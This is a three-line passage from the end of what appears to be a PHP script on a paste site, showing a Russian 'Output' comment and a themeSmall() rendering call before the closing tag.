  613. //Вывод.
  614. themeSmall(APP_TITLE, $_OUTPUT, 0, 0, 0);
  615. ?>
Add Comment
Please, Sign In to add comment